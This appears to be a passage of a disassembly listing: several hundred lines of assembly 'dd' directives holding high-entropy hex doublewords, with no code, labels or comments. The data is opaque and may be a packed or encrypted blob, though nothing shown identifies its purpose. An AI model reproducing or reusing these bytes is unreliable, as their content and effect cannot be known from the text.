		dd 382ED8BFh, 0E94F0B5Fh, 0D422FAF9h, 442D2180h, 2BA18441h
		dd 5FF07E06h, 2F02109Ch, 0C16F0518h, 56ECCFBBh,	0C1014E62h
		dd 52A16E6h, 0D00980A1h, 0E9B36C2Eh, 3A9A0F71h,	5818F895h
		dd 372057D0h, 6231D2BBh, 66000B13h, 9FF3CF31h, 0C20BFE08h
		dd 0A4571EE8h, 5F4C20FCh, 0ACA85D5Bh, 63F16FADh, 12966D33h
		dd 0BABBC461h, 69AEC7F0h, 1C82466Ch, 0C520999Eh, 9D561CBEh
		dd 0AB6B7B82h, 0C0E5C102h, 0BEDF525h, 1A3C750h,	0A44978Eh
		dd 0CB3DA81Eh, 70D0AB70h, 0FC6B22D4h, 3F1EDDEEh, 1CB3D78h
		dd 5AA1DC6Dh, 0C268C9D9h, 15012h, 200CAC77h, 0F45FF8E8h
		dd 0A8BE1756h, 293F0915h, 0D720FB79h, 0E9580C80h, 8559C432h
		dd 0A6A283EDh, 4FC29DD7h, 56BC9A1h, 7F0333ECh, 0EBC14BBAh
		dd 9F1A428h, 0BD84CE7Eh, 0E9990775h, 0B51C14A6h, 0F0175E5h
		dd 7B7168C8h, 7F120A76h, 94DCF8E6h, 6D610043h, 0BB530BBAh
		dd 68120064h, 7FE3810Ch, 2C60F133h, 455ACA0Ch, 9C909D72h
		dd 66265016h, 100326Eh,	9D410A5h, 645B58D9h, 10E90E2Ah
		dd 3BE0868Bh, 0AF8EBC47h, 4E0D165Fh, 0C6BAC029h, 0F82D0231h
		dd 85365C0Ch, 0A99822E9h, 58AE4FA8h, 35CF2C4Eh,	0D37A4B25h
		dd 0C90B0950h, 0E817B982h, 0C8926802h, 5A80E9A6h, 0BD192033h
		dd 8E46B23h, 5DEF3102h,	40269505h, 70BCE92Dh, 292EE174h
		dd 0F5F430F3h, 80701297h, 0EAE3DB00h, 0C9051C0Dh, 0AD141406h
		dd 42F6200h, 17FEE903h,	40BD6FB2h, 9DE7988Dh, 9AE2CA76h
		dd 0A7E4540Bh, 0C5B0EF46h
		dd 234A6D2Fh, 0C957030Ah, 7125DCD6h, 4D27817Ah,	2BCC3FAFh
		dd 806E54B6h, 0C1404528h, 0C99F50C7h, 0BA123513h, 46160F21h
		dd 5AA27085h, 2B1B678Dh, 5BF89FE0h, 0E8283113h,	0BB161571h
		dd 4BF0530Eh, 0C4EB56C7h, 5E8165F9h, 0C204071Dh, 5BD5FA43h
		dd 52530CDEh, 56B55533h, 2E9D022h, 590A65B4h, 3600B955h
		dd 895D7A71h, 7D5B8CDh,	926BC6EDh, 0D216FE2h, 40078B4Fh
		dd 0FF5529D9h, 0F5095C74h, 7F7BCCE9h, 0C7EF8919h, 36BB1000h
		dd 0D10CA309h, 0B64CF8E3h, 82BF004Dh, 0BA746320h, 0BA0B866Ch
		dd 0D189275Fh, 4184BE76h, 0EFC26519h, 8A915F55h, 2ECE7043h
		dd 0F38149B6h, 73DA5DECh, 0D63B21h, 0C0C7C657h,	0D8285917h
		dd 0EF2F01BFh, 2F1A45E9h, 7180F3F2h, 0F742ED4Dh, 4C40DF5Fh
		dd 5F5737CFh, 46E90B72h, 4755010Eh, 81E02D5Bh, 9FB688E9h
		dd 25A7D425h, 1F69028Fh, 2AD24A43h, 0CEF7F693h,	61E6A009h
		dd 90442120h, 0AA22B0E3h, 99F480FAh, 0FB2F7539h, 943FD320h
		dd 46908239h, 4041280Bh, 8A8F74C4h, 4C35E24Fh, 7EDF06AFh
		dd 0FC2D8521h, 848AA0B7h, 25719C74h, 5B1ACA29h,	794576F4h
		dd 597B3EA7h, 7158980Eh, 946CE4Bh, 221B09E9h, 5DE48230h
		dd 0D3697B99h, 0E54A3E50h, 0B828D90Bh, 1D48071Fh, 3F78969h
		dd 0D74882FBh, 41EF0193h, 0B02E08EAh, 39132B52h, 0A63077FBh
		dd 6EFECE46h, 53802C1Dh, 7AE90D3Ch, 0C9A8D25Ah,	51C9CEA7h
		dd 247D6CD5h, 8BF6F88Dh, 6EB617DDh, 36A4E90Bh, 20AE9601h
		dd 40F8B57h, 29E8280Ah,	0E0C2DAh, 0AC6259B6h, 0D9F72843h
		dd 1F5F2AE4h, 0F17E2791h, 0DCC37368h, 7A606671h, 8925580Ch
		dd 0A7E9163Fh, 3DF2279h, 64E2E140h, 3A4EA62Ch, 1EB74984h
		dd 0C756B4FFh, 0E9C94106h, 0B738BDD7h, 486355D1h, 0D8AAB451h
		dd 0E11FB7C4h, 0C1CBF828h, 0DB165D42h, 0A33EC09Fh, 0CC1AB7F0h
		dd 0D556BDC2h, 0C069562Fh, 4A596851h, 2160F125h, 0FAF4E9D6h
		dd 8ED0D03Bh, 171CD3A8h, 6E92222Dh, 5C8B405h, 0D359070Eh
		dd 893E2DABh, 50DDE90Dh, 0CE0BB7ACh, 8AB14C74h,	78F8F4BDh
		dd 0A04EB219h, 30427F14h, 630C2B04h, 53048E3Fh,	2E68FB01h
		dd 4083B3AFh, 7C4FE90Fh, 1C2E8F14h, 83929031h, 0AA813CF1h
		dd 3738A82Dh, 10252210h, 0A84F3012h, 6AF35FEDh,	582F89CCh
		dd 7D30629Fh, 0BE95279h, 0DDF02F3Fh, 76A2B88h, 0E3808AB1h
		dd 0BBDCC0D9h, 0D1148FD3h, 81C2A6C1h, 1567ED3h,	34C9DA7Dh
		dd 880F53A1h, 50476428h, 5194B007h, 0C8A0DDB1h,	9DC73059h
		dd 75CE1760h, 8BD7FC0h,	0BC7C3E1Eh, 0E64905DBh,	6180FFC1h
		dd 35E9EE09h, 0CA2CB16Fh, 10B25B6Eh, 844D12D6h,	51EA71FCh
		dd 685600D1h, 933A12A3h, 4F342154h, 763BB77h, 306864DFh
		dd 0CA47EDB2h, 9E46063h, 808BBC9Bh, 9845D0F6h, 0F1608972h
		dd 4660EF12h, 52180179h, 0E365E0BAh, 9FE62026h,	5C281512h
		dd 0E2B340EAh, 1C6030Dh, 47FC1EC1h, 73A2552h, 91B850E0h
		dd 2F8BDA53h, 61C616F0h, 0D52176B6h, 20D5215Ah,	0E438ED4Eh
		dd 320251Dh, 5A306155h,	68586F2h, 451ECEA0h, 290B970Dh
		dd 50F8A4F3h, 53350257h, 37DE685Dh, 0D42FDEA5h,	729EAE51h
		dd 0F25EB4Bh, 50FECAFEh, 63408A23h, 60B3EC58h, 61EE492Fh
		dd 0CB010224h, 5B08D605h, 1530566Ch, 6EBA803Ah,	70CF1212h
		dd 0ED0CD0FCh, 89808F30h, 4F10712h, 82C50FEh, 2155A24h
		dd 4B5539FEh, 10B80BE1h, 4D1E44CFh, 0EB0E5A0Ah,	7DAB0D13h
		dd 0E5E6A557h, 192405A1h, 0A544609Ah, 0A94AF3EAh, 77C140FFh
		dd 0F0E174Fh, 21049935h, 0F347E954h, 7FF62D81h,	2A394263h
		dd 21D04F4Bh, 36F68FFh,	0F510BF66h, 135F3B75h, 39AA532Eh
		dd 0CE72F99Ah, 250FC755h, 0A73954D6h, 0D7EF62F1h, 0E067E3C8h
		dd 89310AC9h, 65E880BCh, 2508DC76h, 0A5E4FB89h,	1AEDBF07h
		dd 0F977FA7Eh, 0CDD431C5h, 3087EFC4h, 0E22D070Eh, 4A8CCF6Fh
		dd 68E142C6h, 777827BEh, 874019DAh, 375CE161h, 3E551082h
		dd 600CB84Bh, 5B624FB8h, 0D3681461h, 14847844h,	0BA5800D7h
		dd 5F155654h, 0C038C555h, 7970FA18h, 22663841h,	5B04E94Ch
		dd 0C24D8255h, 560B2DD3h, 0CE8539F9h, 0C5315C08h, 0B69700B3h
		dd 0C51BE92Dh, 42465E95h, 4104DFCAh, 81C0E4EAh,	7E05D8C1h
		dd 0EA47603Bh, 41B5D86h, 486F74CAh, 14508740h, 8F82BA02h
		dd 0B89EED6h, 17E952CEh, 5A5BF922h, 0E9F0A561h,	519749Bh
		dd 3715280Bh, 0FE0B580Bh, 5820976Ch, 7A051FEAh,	7D1D6E5Ah
		dd 4F826885h, 5E891ACDh, 2E684321h, 0D8B7472Dh,	0FB5A4AFAh
		dd 977E3229h, 2268408Ch, 0F84BE939h, 0C48044C1h, 41DE0070h
		dd 0D0F12B8Dh, 5756CACAh, 7538647Ah, 58294F51h,	382DF641h
		dd 0E3905207h, 0E480EB77h, 4324B5FCh, 1B091A30h, 1717D184h
		dd 4B1680A9h, 0E77FB455h, 5C1356B6h, 9BAD2E75h,	21706D12h
		dd 0D390A2h, 0B23BEA80h, 8B71F4Fh, 0E09C92E2h, 0D3628760h
		dd 7ED1CF81h, 0B2BA864h, 0D953D005h, 892536D8h,	0C9809B19h
		dd 85419D61h, 6800D68Eh, 0E7C41429h, 33B80855h,	106350D8h
		dd 0BB0C4DE2h, 3CB839A5h, 3DA59402h, 1638F75Fh,	63208CCBh
		dd 4F3DF0B0h, 9B64B54h,	4382770h, 2CD01DF9h, 975A660Eh
		dd 87E8FF0Ah, 4080E90Bh, 1649B8D6h, 0AB391924h,	6B90101h
		dd 94846867h, 84A79E6Dh, 1B8C283h, 0F0D1A8F7h, 755D8132h
		dd 97A486C5h, 0D413B826h, 4B4A1EC1h, 30E95F70h,	0E62318BFh
		dd 0EF26454Eh, 3B1D8367h, 0F85A8FC9h, 0C16D4A13h, 0C9CA88D8h
		dd 6E8E21D4h, 0DD58ABCBh, 53B4BD7Ch, 0D1A62ABBh, 0A27C942Dh
		dd 0E8E54AB4h, 82DC7A1Eh, 15ED8640h, 1191A17h, 8BCAA8A1h
		dd 0DE260408h, 488345BDh, 0E8F26069h, 0E9A08D93h, 8CA4FDB8h
		dd 413C8609h, 0B44EA00Fh, 0B850C563h, 43750F16h, 8EC37658h
		dd 33507E4Bh, 8C3B4A6Ah, 2BC90321h, 96075869h, 48FC094Ch
		dd 0B295263h, 9A816F7h,	160D7CA6h, 0F820BF58h, 0BB530361h
		dd 18FE39FBh, 6B460BD9h, 4978CDE2h, 5D0B7EEBh, 337FF989h
		dd 0CE6F967h, 0F1D810E9h, 2B1713BAh, 0A7660077h, 0E97E4549h
		dd 67901F30h, 2E80D0B7h, 9D20EF7h, 6BCE0131h, 2F3EC070h
		dd 0E1E2DA07h, 0B28F35C0h, 239073F7h, 5260DB0Ch, 13D1FA61h
		dd 0F12AD240h, 88DFA0Eh, 0C514041Ch, 32DBBF80h,	0FB5FFB16h
		dd 4F0B5063h, 8AC20252h, 9082656Ah, 9E7F5466h, 59D99755h
		dd 0BECFE985h, 40F36D98h, 7F00B845h, 0D52FF1Eh,	9D7902h
		dd 2795051Ch, 92E94FF6h, 68144B9Ah, 0D4E060AAh,	2E720560h
		dd 948D5EB2h, 13F18360h, 631AB0Bh, 0B7342B4Dh, 1FD4E63Bh
		dd 8D05202Fh, 8C94CD6Eh, 5A8EDCEEh, 41A5E927h, 296E5623h
		dd 6857E8A2h, 1D3E5809h, 2465E50h, 39434EF8h, 30BCD05Fh
		dd 0E78F9E53h, 92DE7D5Dh, 549250CBh, 56219226h,	581ED8Fh
		dd 36775A5h, 238EF412h,	2E1E417Ah, 0F65F69D1h, 325ED06Eh
		dd 6BB9014Dh, 0EB83103Fh, 3840AE4Eh, 0C94550C3h, 3B0CC411h
		dd 0FD7D8473h, 5108401Fh, 1B207EB0h, 0E26AFFABh, 425D7BCEh
		dd 1BC4A02h, 18DBDC10h,	64D0D721h, 0F1F3C052h, 11BCCD48h
		dd 82CBD5B0h, 8A8ECCEEh, 0E78180E0h, 0BAE54CE9h, 0C4AFB7B0h
		dd 0A5A0444Ah, 89420F54h, 0C286DCD1h, 7C0B43E7h, 8EB0329h
		dd 0FDE2094Ah, 8B0FBEC8h, 67B5ACE3h, 2365F303h,	32E5B02Ch
		dd 12C22749h, 86BC07F6h, 22061D26h, 2604712Ah, 270798Ch
		dd 1046C984h, 7DBC42DFh
		dd 4A804068h, 0B56B4526h, 7A8CD925h, 4484D15Dh,	0A61BA802h
		dd 7AF20B60h, 66040FADh, 3A0D0367h, 251FD036h, 527380h
		dd 49C42D19h, 0C729C9B4h, 0DC8B585Fh, 487EE944h, 1C9A7716h
		dd 68474877h, 9A6B4A70h, 0CCFD5E67h, 0F4A2E8A4h, 0C64047E3h
		dd 14DBBF0Dh, 0FF1FC30Bh, 0DDD98F10h, 3FF88AAh,	0ED2DFE49h
		dd 0E49544EBh, 0F0648450h, 1106961Bh, 0DD296136h, 0D0ED5FE4h
		dd 0E9D5012Dh, 7782C65Dh, 0F392DD67h, 0E03D9002h, 8B330209h
		dd 67FB1BE0h, 0C78474Ch, 0CEEC77DBh, 523F0CE7h,	30C1959h
		dd 7475171Fh, 6E50CF02h, 0F66626Ch, 9B4E81CDh, 0A03E31E5h
		dd 0E70CF539h, 9268E87Fh, 742018DDh, 503D186Ah,	89FE752Fh
		dd 9BB076D0h, 9610F346h, 5C1629B9h, 3FCBBE57h, 0C913A34Ah
		dd 0AEC0FF68h, 0CE5ED6E9h, 80A139EDh, 0FF722BDEh, 0F274E3C1h
		dd 2753DCE2h, 1424B15Fh, 0AD9EA11h, 2148295Bh, 0C2077B06h
		dd 0E375DAF6h, 28360FA1h, 8918246Fh, 3F1E7AE6h,	6CCA1A40h
		dd 2114FE2h, 0FFED800Eh, 0FE3AE561h, 0B17ECDh, 0F1107F68h
		dd 52530941h, 0F219055Bh, 0B4EF6DF4h, 0EAD10F79h, 811BEC9Ch
		dd 0BE880F45h, 572624Dh, 3F373278h, 0BA5085AFh,	6F027C3h
		dd 73810FB2h, 0EE970CDAh, 3398208Dh, 20CF8B25h,	8002B1DCh
		dd 24F772E9h, 5280F6A9h, 0D1C1E0DDh, 55FAB588h,	5352B912h
		dd 0DA1F4CE8h, 0BAD7565Bh, 0B252A960h, 0B7E92E4Dh, 0EEC18734h
		dd 76FB8206h, 960E8DEh,	0D2670A32h, 0C6610120h,	3A98F5CEh
		dd 0F6850D2Dh, 818C72B3h, 682BD9h, 52581BBh, 0F7435E06h
		dd 8216FFDBh, 26FF4290h, 0F63576E0h, 0E3B9133Dh, 277AF873h
		dd 87FA475Fh, 33E1F766h, 0AFF4B468h, 0BFC31ADCh, 16D70D42h
		dd 0E9A3910Fh, 0BB0883D3h, 5A5F09FFh, 3034BEFFh, 0C217A972h
		dd 83284EFEh, 4558AA3Ch, 87F78119h, 50F0FF2Bh, 10D801B8h
		dd 0A0E90A8Fh, 34257A43h, 7968C590h, 61371562h,	0BB80F05Fh
		dd 59201FCDh, 0E9DF310Eh, 7501C9AAh, 0D1918EC5h, 0F885E90Ch
		dd 0FE4113A7h, 0F0CC9ECh, 51D0F633h, 18697486h,	1D95B90Fh
		dd 3B80B752h, 0C0FBD88Eh, 348FE9D9h, 86F839A2h,	0E321AD26h
		dd 0EE4A8990h, 0CE9B130h, 950BC4AEh, 9973A49Dh,	71C16101h
		dd 3FE1CB81h, 32121E9h,	0FF10A06Ah, 4DFCEE5Fh, 0DA91BAD2h
		dd 0EB37A49Bh, 9B7B310h, 0C534D568h, 0AF592F65h, 719E1F0Bh
		dd 0C0D4929Dh, 30B7B22Fh, 0C0586796h, 0E70258E4h, 3F7E5D10h
		dd 1895B480h, 0CFEEC1AFh, 0F41997E7h, 0C8F0105h, 9C3631EBh
		dd 82FF25C9h, 0D5792CF6h, 0C0986339h, 1845F92Bh, 453B03E9h
		dd 283AB1EDh, 0CEC5BAD5h, 0AB977FB9h, 916C5A7Dh, 923AE75Eh
		dd 0EF15D5FEh, 41FE7065h, 0F78011E9h, 304730EFh, 21820B55h
		dd 79820156h, 6C911736h, 0B1EF4053h, 0ED3597FEh, 75EEB07Eh
		dd 0E4C89C54h, 0C8D0D1Eh, 0BD6FABBAh, 7EB8FB17h, 44F9CB4Fh
		dd 23D0EA9Ch, 0E02E3C08h, 0F08E767h, 8EF53384h,	0A013EF13h
		dd 20B8128Ah, 0B4424C87h, 699AEFDh, 2568F0CCh, 0C69827EBh
		dd 80174925h, 0F4703144h, 7407E9C1h, 9A971381h,	0C88B0F12h
		dd 4420D845h, 80772967h, 5CC26830h, 3A25FEACh, 0F500801Fh
		dd 1FDBED8Dh, 4CEE2968h, 0B22AF418h, 0CA80F207h, 0BB3AFEEFh
		dd 3DFC8D08h, 445DC29Eh, 90084183h, 0D0F7F5EDh,	3B0919BCh
		dd 62E45E33h, 3CD97E93h, 0EA6CD749h, 0C309734Fh, 0A5BB7BACh
		dd 5F431AFDh, 0CFDA8EE0h, 5EEB1A8h, 30E15348h, 0E4C6D314h
		dd 1EC45A66h, 8EE1492h,	0EF1BA45Dh, 6DB16D2Ah, 96057232h
		dd 0ABD034FAh, 0F29742F3h, 9EE5D2A7h, 27D1A840h, 5C64768Eh
		dd 77176B59h, 19C4E70Dh, 0A6FFA27Ch, 22211FAFh,	2B6ADB68h
		dd 56643E31h, 0F1405A02h, 0EC5C8007h, 3E8519A2h, 0E2DB41CCh
		dd 68FF98B0h, 8C284BA6h, 0EDC278CBh, 53BCBE9h, 0AE838053h
		dd 6051F407h, 0BE5424DEh, 589E30DFh, 49BFA893h,	0A74AC240h
		dd 1AB82A82h, 0A08B36F1h, 0D7147FF3h, 167C7732h, 20A8D25Eh
		dd 31987A7Dh, 7F4CA601h, 4225400Ah, 902FEFC4h, 7ED820A1h
		dd 63780504h, 40EEF24Ah, 11E2EB07h, 294B7DAEh, 80257E1h
		dd 0B2CEF75Ah, 883C659Dh, 50ACD50Bh, 25D93E08h,	30EEA560h
		dd 0EAD16395h, 76C9A971h, 488BCFD4h, 0FEFEA3C2h, 0B4E92E56h
		dd 0E734AEA2h, 0DA8CE208h, 0F68F4E57h, 11B254Bh, 0ED038A64h
		dd 385A5D91h, 0FF0E054Dh, 0E8454062h, 9004F5Dh,	71847D98h
		dd 21FD28BDh, 0C0314B83h, 5E6EF574h, 2937D609h,	0E5684EAh
		dd 287E21BAh, 274C70C3h, 0B92C447Eh, 0F34724E2h, 3287FCE4h
		dd 12AEA25Fh, 6ACEF501h, 0A273E788h, 32527582h,	0CED45A20h
		dd 497EDE5Ah, 522102EDh, 2E678F0Fh, 99E6D7C4h, 4356E10h
		dd 345E6851h, 4F32EBA9h, 0F340DD5Fh, 54813717h,	0BA64E320h
		dd 67A50408h, 0BB29814Ch, 31364890h, 41A7AFEh, 0CE2E61C9h
		dd 0C4F0EF72h, 0DAF31F55h, 6EA8B2Ch, 25A71408h,	820EF7Eh
		dd 5FF8594Bh, 0E9C71673h, 0BA828087h, 0F52D6C34h, 81027C3Bh
		dd 7A2423C3h, 1A403D44h, 602C156Dh, 82E8259Fh, 53A48B77h
		dd 0E0D301E2h, 6D68EBE9h, 3DB9003Bh, 0CE81649Dh, 8A751D0Dh
		dd 99F68079h, 0E97A9039h, 8CF2962Ah, 0DFD3A825h, 0D7E26D20h
		dd 1F5EB03Bh, 77DADD1Ah, 0CA00C0FAh, 1EB5467Ch,	9491E955h
		dd 253B26C9h, 0EFE8BDD3h, 5F4C4225h, 0DE95E434h, 716850C4h
		dd 0B820725Fh, 5BE9F0B0h, 121A13A9h, 9ACAFA66h,	4F095805h
		dd 0A598BB1Ch, 0F63845D4h, 0B9609051h, 4E85656Eh, 1BFF806h
		dd 6CCD6791h, 127BCEE9h, 5DD9AEB4h, 37E97D89h, 0D2D20F0h
		dd 73077DBEh, 6B11CBD8h, 5EC92F58h, 37301A01h, 0FE925D6Eh
		dd 0D1F792h, 4A396A64h,	68164169h, 0F1CC0B09h, 9B6712C9h
		dd 8AC70114h, 3E3EC064h, 2CFC68D0h, 6207EB6h, 684DC1E5h
		dd 0C5001D3Fh, 0BD28D79Ch, 5A5DE931h, 0F4068729h, 5B70AF14h
		dd 270CB82Dh, 89F71E36h, 4AA2C444h, 0F415E05Bh,	98F8FB5Eh
		dd 19F3D3B7h, 0E7D70987h, 0DCE90593h, 0B97F4EFh, 0FCB3104Ah
		dd 0E442F98Bh, 898C775h, 8309D24Fh, 2F35CEAh, 65B9A54h
		dd 0E1818D76h, 31943CF3h, 1487E120h, 0AF68A90Ah, 7473CA05h
		dd 1F87BB98h, 846FD6A3h, 50A3A7BFh, 281988B4h, 7725B58h
		dd 0D1D157E6h, 9AFA5693h, 29EB4A9Ch, 13AB3C0Ch,	0F3682286h
		dd 66DD1D30h, 61E8125Bh, 2860E95Eh, 0D3E24E4Bh,	87F41292h
		dd 0FBFC64DCh, 0E648E861h, 1D820F00h, 0EF791363h, 2D34C9E3h
		dd 5435BD70h, 0B654CEA4h, 0CA890ECAh, 4D955EE4h, 5316BE8h
		dd 851D26A4h, 0C579D505h, 2F90F1F7h, 522D3303h,	0D8468B27h
		dd 0C0493985h, 0B6F58A16h, 0E91A5E7Ah, 44419889h, 1372B02Ch
		dd 5FF16C2h, 0D485F1CCh, 4B9ABA4Fh, 899E8924h, 2BD2EE88h
		dd 1BA0620h, 0A7B151ACh, 0CC12C180h, 0FE24F7F1h, 850B65C9h
		dd 12349B47h, 0E35F6F6Eh, 0A4029257h, 0C28E675Ah, 28B0D4A9h
		dd 0B779A6Ch, 4170E919h, 0C1802912h, 158D0DA5h,	5DAF214Eh
		dd 33C54527h, 345E813Fh, 0C6CD80F4h, 72B431F6h,	5D8D2C0Fh
		dd 0FDE98773h, 0A3FC092Eh, 0EA09755Ah, 277C3A80h, 0FCA24F51h
		dd 6DBFD0F8h, 82E9842Dh, 2CCDF4F1h, 5EAE3617h, 0CA0183CDh
		dd 6F2DCB1Ah, 47E987Ch,	23D3AEBEh, 6EE5FB29h, 6E8118BDh
		dd 90E9502Dh, 0FDF950EAh, 0E078689h, 463FBA52h,	0D00938D0h
		dd 0A4B74EE9h, 7978EAF9h, 67808E4Eh, 0F63DB551h, 20CC7BF5h
		dd 68270C62h, 8B0DB10h
		dd 311212ACh, 0B3CCFBF1h, 61773F35h, 6D2E182Dh,	0EA3E08C1h
		dd 0E38F2146h, 0BC081395h, 0E956A09Eh, 60BCBA74h, 6858305Eh
		dd 0F99D7C31h, 39E94281h, 0DCBC6E50h, 431F84CFh, 0F4AD37BCh
		dd 90B57415h, 96A9372Dh, 5EF049F0h, 0A84CCA0Bh,	378C0069h
		dd 189ECEB3h, 43451568h, 778240C3h, 53094F59h, 0FC5B9A4Fh
		dd 27EB09F8h, 51CF345Dh, 0AA795E9h, 0B5B2045Dh,	6882ACEDh
		dd 219E2259h, 17486817h, 57B024F8h, 0E14FB2E9h,	680A7BE2h
		dd 0B2264AC1h, 6EF15CFAh, 0E47668C2h, 0E5B620D2h, 9F114C9Dh
		dd 3B4E01D2h, 1EAFB384h, 478ACB57h, 0A761E242h,	40E32DB5h
		dd 499543DDh, 9D78C226h, 23D752E1h, 713178FDh, 3E3431Ah
		dd 68050682h, 6491110Ah, 5800FBA6h, 584BEE80h, 3FC0DEF6h
		dd 0AE2507E6h, 8E058540h, 6C3D6B7Dh, 241B985Ah,	0B876B616h
		dd 9AF14F9Ah, 0C4464028h, 73011627h, 29B4A05Eh,	0B48DF81h
		dd 77C89B44h, 14B1295h,	0C664A321h, 46C9DF07h, 68174DCEh
		dd 7F601F90h, 481348A8h, 135A94Fh, 0EE7E8227h, 1C6F4657h
		dd 4F7F48C9h, 0A3EBFE29h, 552DC8DCh, 0E849D9BCh, 0D65A2700h
		dd 68F16C16h, 665B2A25h, 962495Dh, 0BD4A8B3Ah, 0BDE9F074h
		dd 0BC3E9174h, 224DEB12h, 78C103B3h, 0FEE2D7A4h, 0F74D625Fh
		dd 74EEEE11h, 0F87729ECh, 0FB752F27h, 4D26E7h, 765D5816h
		dd 5B02D831h, 54E29B05h, 4A237014h, 0BF5EF053h,	0C6A520B5h
		dd 0B8A206A8h, 0B2F34F97h, 0A7058006h, 9776669h, 9621252Dh
		dd 0CAD81007h, 20A42407h, 0BD8BB512h, 2A573A11h, 0BC4AD1B7h
		dd 43291A99h, 0BA6EF70Fh, 5C773A20h, 4812B954h,	0F2114C06h
		dd 505A5E55h, 2D3560EEh, 0ED344D51h, 7129976h, 0FFA4ABACh
		dd 41AA5BD8h, 2E8831EBh, 0A1B49DECh, 0D0BD0168h, 0E08E3B92h
		dd 765F5D7Eh, 0A3C0522Dh, 6764C50Fh, 68026A18h,	0E65D18AAh
		dd 0BFEBE6ACh, 57C1D413h, 0DA957ED0h, 0F0126532h, 0BC584EF1h
		dd 2D005875h, 0C5F8A73Dh, 4E451A61h, 0B23A84ECh, 8AF23C5Ch
		dd 6566AD17h, 0E34E80D4h, 281D7AD3h, 42CC0F38h,	5AE49D1Ch
		dd 7ABC3301h, 316654C0h, 49BBD34Bh, 8BDDEDB8h, 650E59FBh
		dd 2E5BE149h, 86E467BCh, 2741BAF8h, 4914DC2Fh, 438BB562h
		dd 821F5920h, 668E53C3h, 9240CA56h, 3965765Ah, 0AD4E60E9h
		dd 6855C59Fh, 26A0A4BAh, 0FE60EAAAh, 5BD68292h,	0AD6925AEh
		dd 65A88482h, 149B43FBh, 0F1A86450h, 6D986932h,	0F5E0EB0h
		dd 1537DB85h, 86AC5AA7h, 0DA01125Fh, 0D0C88C50h, 8897C90h
		dd 0E931E8C1h, 7C8C6C2Dh, 0A05DD201h, 4482B806h, 313E90F0h
		dd 907B2663h, 0E428111Eh, 40B05203h, 0D6B70111h, 1CC640CDh
		dd 804F47B7h, 0E93ED4F2h, 0E166A7AFh, 124D8CC8h, 34C0AE5Fh
		dd 0BC012EBBh, 88F6730h, 4D8C246Fh, 862BCDA1h, 0B62D249Fh
		dd 526292Bh, 5FB45EF2h,	0EC73145Ah, 6F09DF61h, 0D8819E66h
		dd 0E03E3DEDh, 50B509DBh, 0C56974ACh, 0A36439E5h, 1EDB18AEh
		dd 1E9F2D92h, 933CA10Eh, 5A1FF070h, 0B4CC14BFh,	3B448801h
		dd 27157C69h, 71EBB37Ch, 0FA519324h, 0AC2A2539h, 0CB6C126Dh
		dd 0ECDED9AAh, 8FAE5019h, 12FC211h, 4607684h, 68D4D6E9h
		dd 8150F587h, 28544BCFh, 5095192h, 0FB134EFh, 0DC03FA9Ah
		dd 279B7EE9h, 0A4DF55A1h, 41EE5E66h, 3F76F42Dh,	716146Eh
		dd 95834AFh, 665F0ACAh,	337E37C8h, 3D4FE249h, 166EDFAAh
		dd 6BD3BB0Dh, 7472FA9Ah, 0F328002Bh, 0B968505Ah, 4AD17453h
		dd 0E2C0E2FCh, 0C12C5B58h, 0C0C3E917h, 0BC1F36E4h, 5A3E607Dh
		dd 31064719h, 9A7FE9FAh, 4565BF1Eh, 60B16804h, 0C89A968Dh
		dd 0EB828FB8h, 0F006861h, 9AAB9288h, 0E8F2058Ch, 126F662h
		dd 5A248488h, 0D5F860E7h, 4B3163BFh, 471D1F9Ch,	0F303E2C1h
		dd 65F36852h, 83837BE7h, 51033C06h, 0BFF2E2C2h,	582BDA08h
		dd 9FF49508h, 267603EBh, 0D0150288h, 0EB045A66h, 0A8094DE1h
		dd 0A0B3F34h, 847E734Ch, 0D9BA13CCh, 0C0F66CB5h, 0A4625B2Dh
		dd 0DC58BD57h, 0A0665325h, 6A0A0C8Ah, 6E9A9036h, 18C51775h
		dd 1329BD41h, 0E96072D3h, 507F1299h, 9F38E71h, 316F2F1Bh
		dd 0C686A81h, 1F500101h, 0A5C8B211h, 0F0BFE13Fh, 6E8DDEBh
		dd 981BE16h, 24D66243h,	49A1E600h, 130F695Eh, 0B44D1386h
		dd 0E04BCB9h, 0F5316445h, 6C9F1CBCh, 4308067Ch,	0E20B0C42h
		dd 0D618FE5Bh, 0D1560C02h, 0EF09E341h, 84106C2Bh, 53A8A600h
		dd 12C9A8C4h, 84BD87AAh, 13B3A219h, 0BB41D7E9h,	5C39F080h
		dd 0B593996h, 303042C3h, 1C3E1741h, 22B965Ah, 0BB0031A3h
		dd 10944A66h, 6305A7BFh, 0DF31582Fh, 92F29CBh, 0C1C342F6h
		dd 40BAF5EDh, 0BC563108h, 3C9229E5h, 660C1A29h,	0F326270Dh
		dd 9BFAC940h, 0BF8BB75Eh, 2E5B2289h, 0B82AFD00h, 0D4DBF723h
		dd 0A9041904h, 82348754h, 0AD52288Dh, 24030120h, 0E5FCDF68h
		dd 0C19F4509h, 819709E1h, 6FFF7C62h, 0E412CEEh,	0FA1C79EEh
		dd 0E98CC6BAh, 0E73BBA32h, 6B8CA9DEh, 0E2B5782Bh, 8085A1C0h
		dd 0ECC05FCDh, 70C1EC59h, 90E17B69h, 5340965Fh,	0C881A3C3h
		dd 951D2F53h, 55E188C9h, 3BEA8EB1h, 0E425009h, 728CE122h
		dd 7E965F0Dh, 4BD9DE1Eh, 0F992D45Dh, 466E49FBh,	51683B60h
		dd 5624064Bh, 569CEB53h, 0E9510D55h, 3F2BA8CDh,	94C12500h
		dd 0FC37DB49h, 0EA4C526Fh, 0F73E7C05h, 0C1C0E051h, 0FB25C778h
		dd 27F22Dh, 621B0F1h, 3B6D683Ah, 7B08C697h, 277F326Eh
		dd 23568AA2h, 34817772h, 603F10DEh, 0BE41298Ch,	0A1D48701h
		dd 978F893Fh, 4CAC6FF4h, 48AAA3D2h, 5FA01221h, 7305CA90h
		dd 2982000Bh, 9D685653h, 74580440h, 0D0D21717h,	0F29209B3h
		dd 24B89234h, 8BC047E2h, 18979563h, 0AA1C8515h,	6B6240ABh
		dd 0F2B98012h, 640E4705h, 54C9D1F7h, 4AAB83Ah, 15EA4D38h
		dd 0E658580h, 453A2EF2h, 0F5490230h, 0BD49F3B8h, 0D8A37E5Ah
		dd 847F9F58h, 0BAB18E26h, 31627787h, 85895739h,	532F7E5Bh
		dd 0FD5997CFh, 4BAE4C14h, 0D9F664C1h, 79604BCh,	0C2DA56C9h
		dd 102C700h, 3A4CF7FEh,	0CE628C94h, 71AAF659h, 5141802Fh
		dd 0C923AAB9h, 8778D41Dh, 1359110h, 0F022F381h,	0B12AB369h
